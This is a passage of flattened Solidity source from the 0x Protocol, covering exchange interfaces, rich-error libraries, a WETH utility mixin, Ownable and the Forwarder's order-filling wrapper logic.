distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IAssetProxyDispatcher {
// Logs registration of new asset proxy
event AssetProxyRegistered(
bytes4 id, // Id of new registered AssetProxy.
address assetProxy // Address of new registered AssetProxy.
);
/// @dev Registers an asset proxy to its asset proxy id.
/// Once an asset proxy is registered, it cannot be unregistered.
/// @param assetProxy Address of new asset proxy to register.
function registerAssetProxy(address assetProxy)
external;
/// @dev Gets an asset proxy.
/// @param assetProxyId Id of the asset proxy.
/// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered.
function getAssetProxy(bytes4 assetProxyId)
external
view
returns (address);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IWrapperFunctions {
/// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
function fillOrKillOrder(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Executes multiple calls of fillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults[] memory fillResults);
/// @dev Executes multiple calls of fillOrKillOrder.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrKillOrders(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults[] memory fillResults);
/// @dev Executes multiple calls of fillOrder. If any fill reverts, the error is caught and ignored.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders.
/// @param signatures Proofs that orders have been created by makers.
/// @return Array of amounts filled and fees paid by makers and taker.
function batchFillOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256[] memory takerAssetFillAmounts,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults[] memory fillResults);
/// @dev Executes multiple calls of fillOrder until total amount of takerAsset is sold by taker.
/// If any fill reverts, the error is caught and ignored.
/// NOTE: This function does not enforce that the takerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Executes multiple calls of fillOrder until total amount of makerAsset is bought by taker.
/// If any fill reverts, the error is caught and ignored.
/// NOTE: This function does not enforce that the makerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Desired amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersNoThrow(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Calls marketSellOrdersNoThrow then reverts if < takerAssetFillAmount has been sold.
/// NOTE: This function does not enforce that the takerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param takerAssetFillAmount Minimum amount of takerAsset to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketSellOrdersFillOrKill(
LibOrder.Order[] memory orders,
uint256 takerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Calls marketBuyOrdersNoThrow then reverts if < makerAssetFillAmount has been bought.
/// NOTE: This function does not enforce that the makerAsset is the same for each order.
/// @param orders Array of order specifications.
/// @param makerAssetFillAmount Minimum amount of makerAsset to buy.
/// @param signatures Proofs that orders have been signed by makers.
/// @return Amounts filled and fees paid by makers and taker.
function marketBuyOrdersFillOrKill(
LibOrder.Order[] memory orders,
uint256 makerAssetFillAmount,
bytes[] memory signatures
)
public
payable
returns (LibFillResults.FillResults memory fillResults);
/// @dev Executes multiple calls of cancelOrder.
/// @param orders Array of order specifications.
function batchCancelOrders(LibOrder.Order[] memory orders)
public
payable;
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ITransferSimulator {
/// @dev This function may be used to simulate any amount of transfers
/// As they would occur through the Exchange contract. Note that this function
/// will always revert, even if all transfers are successful. However, it may
/// be used with eth_call or with a try/catch pattern in order to simulate
/// the results of the transfers.
/// @param assetData Array of asset details, each encoded per the AssetProxy contract specification.
/// @param fromAddresses Array containing the `from` addresses that correspond with each transfer.
/// @param toAddresses Array containing the `to` addresses that correspond with each transfer.
/// @param amounts Array containing the amounts that correspond to each transfer.
/// @return This function does not return a value. However, it will always revert with
/// `Error("TRANSFERS_SUCCESSFUL")` if all of the transfers were successful.
function simulateDispatchTransferFromCalls(
bytes[] memory assetData,
address[] memory fromAddresses,
address[] memory toAddresses,
uint256[] memory amounts
)
public;
}
// solhint-disable no-empty-blocks
contract IExchange is
IProtocolFees,
IExchangeCore,
IMatchOrders,
ISignatureValidator,
ITransactions,
IAssetProxyDispatcher,
ITransferSimulator,
IWrapperFunctions
{}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibWethUtilsRichErrors {
// bytes4(keccak256("UnregisteredAssetProxyError()"))
bytes4 internal constant UNREGISTERED_ASSET_PROXY_ERROR_SELECTOR =
0xf3b96b8d;
// bytes4(keccak256("InsufficientEthForFeeError(uint256,uint256)"))
bytes4 internal constant INSUFFICIENT_ETH_FOR_FEE_ERROR_SELECTOR =
0xecf40fd9;
// bytes4(keccak256("DefaultFunctionWethContractOnlyError(address)"))
bytes4 internal constant DEFAULT_FUNCTION_WETH_CONTRACT_ONLY_ERROR_SELECTOR =
0x08b18698;
// bytes4(keccak256("EthFeeLengthMismatchError(uint256,uint256)"))
bytes4 internal constant ETH_FEE_LENGTH_MISMATCH_ERROR_SELECTOR =
0x3ecb6ceb;
// solhint-disable func-name-mixedcase
function UnregisteredAssetProxyError()
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(UNREGISTERED_ASSET_PROXY_ERROR_SELECTOR);
}
function InsufficientEthForFeeError(
uint256 ethFeeRequired,
uint256 ethAvailable
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INSUFFICIENT_ETH_FOR_FEE_ERROR_SELECTOR,
ethFeeRequired,
ethAvailable
);
}
function DefaultFunctionWethContractOnlyError(
address senderAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
DEFAULT_FUNCTION_WETH_CONTRACT_ONLY_ERROR_SELECTOR,
senderAddress
);
}
function EthFeeLengthMismatchError(
uint256 ethFeesLength,
uint256 feeRecipientsLength
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ETH_FEE_LENGTH_MISMATCH_ERROR_SELECTOR,
ethFeesLength,
feeRecipientsLength
);
}
}
contract MixinWethUtils {
uint256 constant internal MAX_UINT256 = uint256(-1);
// solhint-disable var-name-mixedcase
IEtherToken internal WETH;
bytes internal WETH_ASSET_DATA;
// solhint-enable var-name-mixedcase
using LibSafeMath for uint256;
constructor (
address exchange,
address weth
)
public
{
WETH = IEtherToken(weth);
WETH_ASSET_DATA = abi.encodeWithSelector(
IAssetData(address(0)).ERC20Token.selector,
weth
);
address proxyAddress = IExchange(exchange).getAssetProxy(IAssetData(address(0)).ERC20Token.selector);
if (proxyAddress == address(0)) {
LibRichErrors.rrevert(LibWethUtilsRichErrors.UnregisteredAssetProxyError());
}
WETH.approve(proxyAddress, MAX_UINT256);
address protocolFeeCollector = IExchange(exchange).protocolFeeCollector();
if (protocolFeeCollector != address(0)) {
WETH.approve(protocolFeeCollector, MAX_UINT256);
}
}
/// @dev Default payable function, this allows us to withdraw WETH
function ()
external
payable
{
if (msg.sender != address(WETH)) {
LibRichErrors.rrevert(LibWethUtilsRichErrors.DefaultFunctionWethContractOnlyError(
msg.sender
));
}
}
/// @dev Transfers ETH denominated fees to all feeRecipient addresses
/// @param ethFeeAmounts Amounts of ETH, denominated in Wei, that are paid to corresponding feeRecipients.
/// @param feeRecipients Addresses that will receive ETH when orders are filled.
/// @return ethRemaining msg.value minus the amount of ETH spent on affiliate fees.
function _transferEthFeesAndWrapRemaining(
uint256[] memory ethFeeAmounts,
address payable[] memory feeRecipients
)
internal
returns (uint256 ethRemaining)
{
uint256 feesLen = ethFeeAmounts.length;
// ethFeeAmounts len must equal feeRecipients len
if (feesLen != feeRecipients.length) {
LibRichErrors.rrevert(LibWethUtilsRichErrors.EthFeeLengthMismatchError(
feesLen,
feeRecipients.length
));
}
// This function is always called before any other function, so we assume that
// the ETH remaining is the entire msg.value.
ethRemaining = msg.value;
for (uint256 i = 0; i != feesLen; i++) {
uint256 ethFeeAmount = ethFeeAmounts[i];
// Ensure there is enough ETH to pay the fee
if (ethRemaining < ethFeeAmount) {
LibRichErrors.rrevert(LibWethUtilsRichErrors.InsufficientEthForFeeError(
ethFeeAmount,
ethRemaining
));
}
// Decrease ethRemaining and transfer fee to corresponding feeRecipient
ethRemaining = ethRemaining.safeSub(ethFeeAmount);
feeRecipients[i].transfer(ethFeeAmount);
}
// Convert remaining ETH to WETH.
WETH.deposit.value(ethRemaining)();
return ethRemaining;
}
/// @dev Unwraps WETH and transfers ETH to msg.sender.
/// @param transferAmount Amount of WETH balance to unwrap and transfer.
function _unwrapAndTransferEth(
uint256 transferAmount
)
internal
{
// Do nothing if amount is zero
if (transferAmount > 0) {
// Convert WETH to ETH
WETH.withdraw(transferAmount);
// Transfer ETH to sender
msg.sender.transfer(transferAmount);
}
}
/// @dev transfers ETH to address.
/// @param transferAmount Amount of eth to transfer.
function _transferEthToAddress(
uint256 transferAmount,
address transferAddress
)
internal
{
// Do nothing if amount is zero
if (transferAmount > 0) {
address payable transferAddresspayable = address(uint160(transferAddress));
transferAddresspayable.transfer(transferAmount);
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IOwnable {
/// @dev Emitted by Ownable when ownership is transferred.
/// @param previousOwner The previous owner of the contract.
/// @param newOwner The new owner of the contract.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @dev Transfers ownership of the contract to a new address.
/// @param newOwner The address that will become the owner.
function transferOwnership(address newOwner)
public;
}
library LibOwnableRichErrors {
// bytes4(keccak256("OnlyOwnerError(address,address)"))
bytes4 internal constant ONLY_OWNER_ERROR_SELECTOR =
0x1de45ad1;
// bytes4(keccak256("TransferOwnerToZeroError()"))
bytes internal constant TRANSFER_OWNER_TO_ZERO_ERROR_BYTES =
hex"e69edc3e";
// solhint-disable func-name-mixedcase
function OnlyOwnerError(
address sender,
address owner
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_OWNER_ERROR_SELECTOR,
sender,
owner
);
}
function TransferOwnerToZeroError()
internal
pure
returns (bytes memory)
{
return TRANSFER_OWNER_TO_ZERO_ERROR_BYTES;
}
}
contract Ownable is
IOwnable
{
/// @dev The owner of this contract.
/// @return 0 The owner address.
address public owner;
constructor ()
public
{
owner = msg.sender;
}
modifier onlyOwner() {
_assertSenderIsOwner();
_;
}
/// @dev Change the owner of this contract.
/// @param newOwner New owner address.
function transferOwnership(address newOwner)
public
onlyOwner
{
if (newOwner == address(0)) {
LibRichErrors.rrevert(LibOwnableRichErrors.TransferOwnerToZeroError());
} else {
owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}
}
function _assertSenderIsOwner()
internal
view
{
if (msg.sender != owner) {
LibRichErrors.rrevert(LibOwnableRichErrors.OnlyOwnerError(
msg.sender,
owner
));
}
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
library LibForwarderRichErrors {
// bytes4(keccak256("UnregisteredAssetProxyError()"))
bytes4 internal constant UNREGISTERED_ASSET_PROXY_ERROR_SELECTOR =
0xf3b96b8d;
// bytes4(keccak256("CompleteBuyFailedError(uint256,uint256)"))
bytes4 internal constant COMPLETE_BUY_FAILED_ERROR_SELECTOR =
0x91353a0c;
// bytes4(keccak256("CompleteSellFailedError(uint256,uint256)"))
bytes4 internal constant COMPLETE_SELL_FAILED_ERROR_SELECTOR =
0x450a0219;
// bytes4(keccak256("UnsupportedFeeError(bytes)"))
bytes4 internal constant UNSUPPORTED_FEE_ERROR_SELECTOR =
0x31360af1;
// bytes4(keccak256("OverspentWethError(uint256,uint256)"))
bytes4 internal constant OVERSPENT_WETH_ERROR_SELECTOR =
0xcdcbed5d;
// solhint-disable func-name-mixedcase
function UnregisteredAssetProxyError()
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(UNREGISTERED_ASSET_PROXY_ERROR_SELECTOR);
}
function CompleteBuyFailedError(
uint256 expectedAssetBuyAmount,
uint256 actualAssetBuyAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
COMPLETE_BUY_FAILED_ERROR_SELECTOR,
expectedAssetBuyAmount,
actualAssetBuyAmount
);
}
function CompleteSellFailedError(
uint256 expectedAssetSellAmount,
uint256 actualAssetSellAmount
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
COMPLETE_SELL_FAILED_ERROR_SELECTOR,
expectedAssetSellAmount,
actualAssetSellAmount
);
}
function UnsupportedFeeError(
bytes memory takerFeeAssetData
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UNSUPPORTED_FEE_ERROR_SELECTOR,
takerFeeAssetData
);
}
function OverspentWethError(
uint256 wethSpent,
uint256 msgValue
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
OVERSPENT_WETH_ERROR_SELECTOR,
wethSpent,
msgValue
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract IExchangeV2 {
// solhint-disable max-line-length
struct Order {
address makerAddress; // Address that created the order.
address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order.
address feeRecipientAddress; // Address that will recieve fees when order is filled.
address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods.
uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0.
uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0.
uint256 makerFee; // Amount of ZRX paid to feeRecipient by maker when order is filled. If set to 0, no transfer of ZRX from maker to feeRecipient will be attempted.
uint256 takerFee; // Amount of ZRX paid to feeRecipient by taker when order is filled. If set to 0, no transfer of ZRX from taker to feeRecipient will be attempted.
uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires.
uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash.
bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The last byte references the id of this proxy.
bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The last byte references the id of this proxy.
}
// solhint-enable max-line-length
struct FillResults {
uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled.
uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled.
uint256 makerFeePaid; // Total amount of ZRX paid by maker(s) to feeRecipient(s).
uint256 takerFeePaid; // Total amount of ZRX paid by taker to feeRecipients(s).
}
struct OrderInfo {
uint8 orderStatus; // Status that describes order's validity and fillability.
bytes32 orderHash; // EIP712 typed data hash of the order (see LibOrder.getTypedDataHash).
uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled.
}
/// @dev Fills the input order.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function fillOrder(
Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
public
returns (FillResults memory fillResults);
/// @dev Gets information about an order: status, hash, and amount filled.
/// @param order Order to gather information on.
/// @return OrderInfo Information about the order and its state.
/// See LibOrder.OrderInfo for a complete description.
function getOrderInfo(Order memory order)
public
returns (OrderInfo memory orderInfo);
}
contract MixinExchangeWrapper {
// The v2 order id is the first 4 bytes of the ExchangeV2 order schema hash.
// bytes4(keccak256(abi.encodePacked(
// "Order(",
// "address makerAddress,",
// "address takerAddress,",
// "address feeRecipientAddress,",
// "address senderAddress,",
// "uint256 makerAssetAmount,",
// "uint256 takerAssetAmount,",
// "uint256 makerFee,",
// "uint256 takerFee,",
// "uint256 expirationTimeSeconds,",
// "uint256 salt,",
// "bytes makerAssetData,",
// "bytes takerAssetData",
// ")"
// )));
bytes4 constant public EXCHANGE_V2_ORDER_ID = 0x770501f8;
bytes4 constant internal ERC20_BRIDGE_PROXY_ID = 0xdc1600f3;
// solhint-disable var-name-mixedcase
IExchange internal EXCHANGE;
IExchangeV2 internal EXCHANGE_V2;
// solhint-enable var-name-mixedcase
using LibBytes for bytes;
using LibAssetDataTransfer for bytes;
using LibSafeMath for uint256;
constructor (
address _exchange,
address _exchangeV2
)
public
{
EXCHANGE = IExchange(_exchange);
EXCHANGE_V2 = IExchangeV2(_exchangeV2);
}
struct SellFillResults {
uint256 wethSpentAmount;
uint256 makerAssetAcquiredAmount;
uint256 protocolFeePaid;
}
/// @dev Fills the input order.
/// Returns false if the transaction would otherwise revert.
/// @param order Order struct containing order specifications.
/// @param takerAssetFillAmount Desired amount of takerAsset to sell.
/// @param signature Proof that order has been created by maker.
/// @return Amounts filled and fees paid by maker and taker.
function _fillOrderNoThrow(
LibOrder.Order memory order,
uint256 takerAssetFillAmount,
bytes memory signature
)
internal
returns (LibFillResults.FillResults memory fillResults)
{
if (_isV2Order(order)) {
return _fillV2OrderNoThrow(
order,
takerAssetFillAmount,
signature
);
}
return _fillV3OrderNoThrow(
order,
takerAssetFillAmount,
signature
);
}
/// @dev Executes a single call of fillOrder according to the wethSellAmount and
/// the amount already sold.
/// @param order A single order specification.
/// @param signature Signature for the given order.
/// @param remainingTakerAssetFillAmount Remaining amount of WETH to sell.
/// @return wethSpentAmount Amount of WETH spent on the given order.
/// @return makerAssetAcquiredAmount Amount of maker asset acquired from the given order.
function _marketSellSingleOrder(
LibOrder.Order memory order,
bytes memory signature,
uint256 remainingTakerAssetFillAmount
)
internal
returns (SellFillResults memory sellFillResults)
{
// If the maker asset is ERC20Bridge, take a snapshot of the Forwarder contract's balance.
bytes4 makerAssetProxyId = order.makerAssetData.readBytes4(0);
address tokenAddress;
uint256 balanceBefore;
if (makerAssetProxyId == ERC20_BRIDGE_PROXY_ID) {
tokenAddress = order.makerAssetData.readAddress(16);
balanceBefore = IERC20Token(tokenAddress).balanceOf(address(this));
}
// No taker fee or percentage fee
if (
order.takerFee == 0 ||
_areUnderlyingAssetsEqual(order.takerFeeAssetData, order.makerAssetData)
) {
// Attempt to sell the remaining amount of WETH
LibFillResults.FillResults memory singleFillResults = _fillOrderNoThrow(
order,
remainingTakerAssetFillAmount,
signature
);
sellFillResults.wethSpentAmount = singleFillResults.takerAssetFilledAmount;
sellFillResults.protocolFeePaid = singleFillResults.protocolFeePaid;
// Subtract fee from makerAssetFilledAmount for the net amount acquired.
sellFillResults.makerAssetAcquiredAmount = singleFillResults.makerAssetFilledAmount
.safeSub(singleFillResults.takerFeePaid);
// WETH fee
} else if (_areUnderlyingAssetsEqual(order.takerFeeAssetData, order.takerAssetData)) {
// We will first sell WETH as the takerAsset, then use it to pay the takerFee.
// This ensures that we reserve enough to pay the taker and protocol fees.
uint256 takerAssetFillAmount = LibMath.getPartialAmountCeil(
order.takerAssetAmount,
order.takerAssetAmount.safeAdd(order.takerFee),
remainingTakerAssetFillAmount
);
LibFillResults.FillResults memory singleFillResults = _fillOrderNoThrow(
order,
takerAssetFillAmount,
signature
);
// WETH is also spent on the taker fee, so we add it here.
sellFillResults.wethSpentAmount = singleFillResults.takerAssetFilledAmount
.safeAdd(singleFillResults.takerFeePaid);
sellFillResults.makerAssetAcquiredAmount = singleFillResults.makerAssetFilledAmount;
sellFillResults.protocolFeePaid = singleFillResults.protocolFeePaid;
// Unsupported fee
} else {
LibRichErrors.rrevert(LibForwarderRichErrors.UnsupportedFeeError(order.takerFeeAssetData));
}
// Account for the ERC20Bridge transfering more of the maker asset than expected.
if (makerAssetProxyId == ERC20_BRIDGE_PROXY_ID) {
uint256 balanceAfter = IERC20Token(tokenAddress).balanceOf(address(this));
sellFillResults.makerAssetAcquiredAmount = LibSafeMath.max256(
balanceAfter.safeSub(balanceBefore),
sellFillResults.makerAssetAcquiredAmount
);
}
order.makerAssetData.transferOut(sellFillResults.makerAssetAcquiredAmount);
return sellFillResults;
}
/// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker.
/// @param orders Array of order specifications.
/// @param wethSellAmount Desired amount of WETH to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return totalWethSpentAmount Total amount of WETH spent on the given orders.
/// @return totalMakerAssetAcquiredAmount Total amount of maker asset acquired from the given orders.
function _marketSellNoThrow(
LibOrder.Order[] memory orders,
uint256 wethSellAmount,
bytes[] memory signatures
)
internal
returns (
uint256 totalWethSpentAmount,
uint256 totalMakerAssetAcquiredAmount
)
{
uint256 protocolFee = tx.gasprice.safeMul(EXCHANGE.protocolFeeMultiplier());
for (uint256 i = 0; i != orders.length; i++) {
// Preemptively skip to avoid division by zero in _marketSellSingleOrder
if (orders[i].makerAssetAmount == 0 || orders[i].takerAssetAmount == 0) {
continue;
}
// The remaining amount of WETH to sell
uint256 remainingTakerAssetFillAmount = wethSellAmount
.safeSub(totalWethSpentAmount);
uint256 currentProtocolFee = _isV2Order(orders[i]) ? 0 : protocolFee;
if (remainingTakerAssetFillAmount > currentProtocolFee) {
// Do not count the protocol fee as part of the fill amount.
remainingTakerAssetFillAmount = remainingTakerAssetFillAmount.safeSub(currentProtocolFee);
} else {
// Stop if we don't have at least enough ETH to pay another protocol fee.
break;
}
SellFillResults memory sellFillResults = _marketSellSingleOrder(
orders[i],
signatures[i],
remainingTakerAssetFillAmount
);
totalWethSpentAmount = totalWethSpentAmount
.safeAdd(sellFillResults.wethSpentAmount)
.safeAdd(sellFillResults.protocolFeePaid);
totalMakerAssetAcquiredAmount = totalMakerAssetAcquiredAmount
.safeAdd(sellFillResults.makerAssetAcquiredAmount);
// Stop execution if the entire amount of WETH has been sold
if (totalWethSpentAmount >= wethSellAmount) {
break;
}
}
}
/// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH (exclusive of protocol fee)
/// has been sold by taker.
/// @param orders Array of order specifications.
/// @param wethSellAmount Desired amount of WETH to sell.
/// @param signatures Proofs that orders have been signed by makers.
/// @return totalWethSpentAmount Total amount of WETH spent on the given orders.
/// @return totalMakerAssetAcquiredAmount Total amount of maker asset acquired from the given orders.
function _marketSellExactAmountNoThrow(
LibOrder.Order[] memory orders,
uint256 wethSellAmount,
bytes[] memory signatures
)
internal
returns (
uint256 totalWethSpentAmount,
uint256 totalMakerAssetAcquiredAmount
)
{
uint256 totalProtocolFeePaid;
for (uint256 i = 0; i != orders.length; i++) {
// Preemptively skip to avoid division by zero in _marketSellSingleOrder
if (orders[i].makerAssetAmount == 0 || orders[i].takerAssetAmount == 0) {
continue;
}
// The remaining amount of WETH to sell
uint256 remainingTakerAssetFillAmount = wethSellAmount
.safeSub(totalWethSpentAmount);
SellFillResults memory sellFillResults = _marketSellSingleOrder(
orders[i],
signatures[i],
remainingTakerAssetFillAmount
);
totalWethSpentAmount = totalWethSpentAmount
.safeAdd(sellFillResults.wethSpentAmount);
totalMakerAssetAcquiredAmount = totalMakerAssetAcquiredAmount
.safeAdd(sellFillResults.makerAssetAcquiredAmount);
totalProtocolFeePaid = totalProtocolFeePaid.safeAdd(sellFillResults.protocolFeePaid);
// Stop execution if the entire amount of WETH has been sold
if (totalWethSpentAmount >= wethSellAmount) {
break;
}
}
totalWethSpentAmount = totalWethSpentAmount.safeAdd(totalProtocolFeePaid);
}
/// @dev Executes a single call of fillOrder according to the makerAssetBuyAmount and
/// the amount already bought.
/// @param order A single order specification.
/// @param signature Signature for the given order.
/// @param remainingMakerAssetFillAmount Remaining amount of maker asset to buy.
/// @return wethSpentAmount Amount of WETH spent on the given order.
/// @return makerAssetAcquiredAmount Amount of maker asset acquired from the given order.
function _marketBuySingleOrder(
LibOrder.Order memory order,
bytes memory signature,
uint256 remainingMakerAssetFillAmount
)
internal
returns (
uint256 wethSpentAmount,
uint256 makerAssetAcquiredAmount
)
{
// No taker fee or WETH fee
if (
order.takerFee == 0 ||
_areUnderlyingAssetsEqual(order.takerFeeAssetData, order.takerAssetData)
) {
// Calculate the remaining amount of takerAsset to sell
uint256 remainingTakerAssetFillAmount = LibMath.getPartialAmountCeil(
order.takerAssetAmount,
order.makerAssetAmount,
remainingMakerAssetFillAmount
);
// Attempt to sell the remaining amount of takerAsset
LibFillResults.FillResults memory singleFillResults = _fillOrderNoThrow(
order,
remainingTakerAssetFillAmount,
signature
);
// WETH is also spent on the protocol and taker fees, so we add it here.
wethSpentAmount = singleFillResults.takerAssetFilledAmount
.safeAdd(singleFillResults.takerFeePaid)
.safeAdd(singleFillResults.protocolFeePaid);
makerAssetAcquiredAmount = singleFillResults.makerAssetFilledAmount;
// Percentage fee
} else if (_areUnderlyingAssetsEqual(order.takerFeeAssetData, order.makerAssetData)) {
// Calculate the remaining amount of takerAsset to sell
uint256 remainingTakerAssetFillAmount = LibMath.getPartialAmountCeil(
order.takerAssetAmount,
order.makerAssetAmount.safeSub(order.takerFee),
remainingMakerAssetFillAmount
);
// Attempt to sell the remaining amount of takerAsset
LibFillResults.FillResults memory singleFillResults = _fillOrderNoThrow(
order,
remainingTakerAssetFillAmount,
signature
);
wethSpentAmount = singleFillResults.takerAssetFilledAmount
.safeAdd(singleFillResults.protocolFeePaid);
// Subtract fee from makerAssetFilledAmount for the net amount acquired.
makerAssetAcquiredAmount = singleFillResults.makerAssetFilledAmount
.safeSub(singleFillResults.takerFeePaid);
// Unsupported fee
} else {
LibRichErrors.rrevert(LibForwarderRichErrors.UnsupportedFeeError(order.takerFeeAssetData));
}
return (wethSpentAmount, makerAssetAcquiredAmount);
}
/// @dev Synchronously executes multiple fill orders in a single transaction until total amount is acquired.
/// Note that the Forwarder may fill more than the makerAssetBuyAmount so that, after percentage fees
/// are paid, the net amount acquired after fees is equal to makerAssetBuyAmount (modulo rounding).
/// The asset being sold by taker must always be WETH.
/// @param orders Array of order specifications.
